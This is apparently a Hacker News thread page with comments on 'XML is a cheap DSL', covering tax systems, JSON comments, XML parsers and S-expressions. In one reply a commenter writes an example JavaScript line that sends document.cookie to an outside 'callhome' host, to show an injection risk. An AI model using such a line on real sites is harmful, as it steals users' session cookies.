Live data from Hacker News

XML is a cheap DSL

unplannedobsolescence.com

121–130 of 274 posts

Re: XML is a cheap DSL

#121

It's completely unbelievable that so-called developed countries are struggling with this in 2026. In Norway, we've had a more or less automated tax system for many years; every year you get a notification that the tax settlement is complete, you log in and check if everything is correct (and edit if desired) and click OK. It shouldn't be more difficult than this.

How does Norway handle self-employment? There are a lot of people with self-employment income in the USA, including a lot of tradespeople, freelancers, and contractors. The IRS knows nothing about this until you tell them.

In the simple case of working for one employer all year, no complicated investments or other income, standard deductions, your tax filing in the USA is equally simple and you can complete it in 15 minutes on paper for the cost of a postage stamp.

There are many reasons the US tax situation is complicated. Among them are that it's used to incentivize behavior (tax credits or deductions for various things), there are people invested in it being complicated (tax prep industry), but a big one is that if your situation is complicated, the IRS simply does not have the information it needs until you report it.

Re: XML is a cheap DSL

#123
post #103

Earlier quoted context omitted.

I think JSON has the opposite problem, it is too simple, the lack of comments in particular is particularly bad for many common usages of the format today. I know some implementations of JSON support comments and other things, but is is not true JSON, in the same way that most simple XML implementations are not true XML. That's what I say "opposite problem", XML is too complex, and most practical uses of XML use inco…

A lot of people dislike that decision not to include comments in JSON, but I think while shocking it was and is totally correct. In a programming language it's usually free to have comments because the comment is erased before the program runs; we usually render comments in grey text because they can't change the meaning of the program. In a data language you have no such luxury. In a data language there's no comment…

Could you imagine hitting a rest api and like 25% of the bytes are comments? lol

Re: XML is a cheap DSL

#124

Earlier quoted context omitted.

A lot of people dislike that decision not to include comments in JSON, but I think while shocking it was and is totally correct. In a programming language it's usually free to have comments because the comment is erased before the program runs; we usually render comments in grey text because they can't change the meaning of the program. In a data language you have no such luxury. In a data language there's no comment…

Could you imagine hitting a rest api and like 25% of the bytes are comments? lol

HTML and JS both have comments, I don't see the problem

Re: XML is a cheap DSL

#125

Earlier quoted context omitted.

"Any serious usage" starts at "it just works". JSON just works. Every language worth giving a damn about has a half-decent parser, and the syntax is simple enough that you can write valid JSON by hand. You wouldn't hit the edgy edge cases or the need to use things like schemas until down the line, by which point you're already rolling with JSON. XML doesn't "just work". There are like 4 decent libraries total, all ex…

> JSON just works. Until it doesn't: underspecified numeric types and string types; parses poorly if there's a missing bracket; no built-in comments. For many applications it's fine. I personally think it's a worse basis for a DSL, though.

That's my point. By the time you hit "until it doesn't", you're already doing JSON, and were for a while.

Also, is "parse well if there's a missing bracket" even a desirable property? If you get files with mangled syntax, something has already gone horribly wrong. And, chances are, there is no way to parse them that would be correct.

Re: XML is a cheap DSL

#126
XML is beloved by tax authorities. The Polish tax authorities really love their e-documents and online filing. Except their XML documents are completely human-unreadable, since the schemas are based on field numbers in paper forms. Even in the brand new National e-Invoicing System, designed from scratch, with no paper forms, most fields have names like ‹P_19N›1‹/P_19N›. You read the XML schema to find out it is a "Marker of lack of delivery of goods or provision of services exempt from tax under Article 43 paragraph 1 of the [VAT] Act, Article 113 paragraphs 1 and 9 of the Act or regulations issued under Article 82 paragraph 3 of the Act or under other provisions" (Google Translated, because of course everything is in Polish). So my invoice is saying "yes [1], I am not [N] exempt from tax under $allThatNonsense [P_19]".

In unrelated news, the main author of the VAT Act is offering tax consulting services, as Registered Tax Advisor #00001.

Re: XML is a cheap DSL

#127

I like this post, but I gotta tell you, it just makes me want to dust off and write a bunch of s-expr tools to make that ecosystem equally or more attractive for DSLs. If I do, the IRS will be the first to know about it! I'll staple an announcement to my 1040. ;-)

This is exactly the same sentiment I had reading the article. Seems like a good weekend project to write a schema validating LSP server for S-expressions (with autocomplete).

Please please do this

Re: XML is a cheap DSL

#129
post #46

After thinking a bit about the problem, and assuming the project's language is javascript, I'd write the fact graph directly in javascript: const totalEstimatedTaxesPaid = writable("totalEstimatedTaxesPaid", { type: "dollar", }); const totalPayments = fact( "totalPayments", sum([ totalEstimatedTaxesPaid, totalTaxesPaidOnSocialSecurityIncome, totalRefundableCredits, ]), ); const totalOwed = fact("totalOwed", diff(tota…

This is an interesting, but objectively terrible idea. You’ve now introduced arbitrary code execution into something that should be data. Now let me send you a fact graph that contains: fetch(`https://callhome.com/collect?s=${document.cookie}`)

The "data" is part of the tax simulation source code, not untrusted input, so such an attack vector doesn't exist.

Re: XML is a cheap DSL

#130
post #7

XML is notoriously expensive to properly parse in many languages. Basically, the entire world centers around 3 open source implementations (libxml2, expat and Xerces), if you want to get anywhere close to actual compliance. Even with them, you might hit challenges (libxml2 was largely unmaintained recently, yet it is the basis for many bindings in other languages). The main property of SGML-derived languages is that…

> The main property of SGML-derived languages is that they make "list" a first class object, and nesting second class (by requiring "end" tags),

As opposed to JSON, which famously lacks lists? What does "second class" even mean here? How is having an end-indicator somehow a demotion?

> talking about XML-lookalike language, and not XML proper. If you go XML proper, you need to throw "cheap" out the window.

libxml2 and expat are plenty fast. You can get ~120MB/s out of them and that's nowhere near the limit. Something like pugixml or VTD can do faster once you've detected you're not working with some kind of exotic document with DTD entities.

Post reply on HN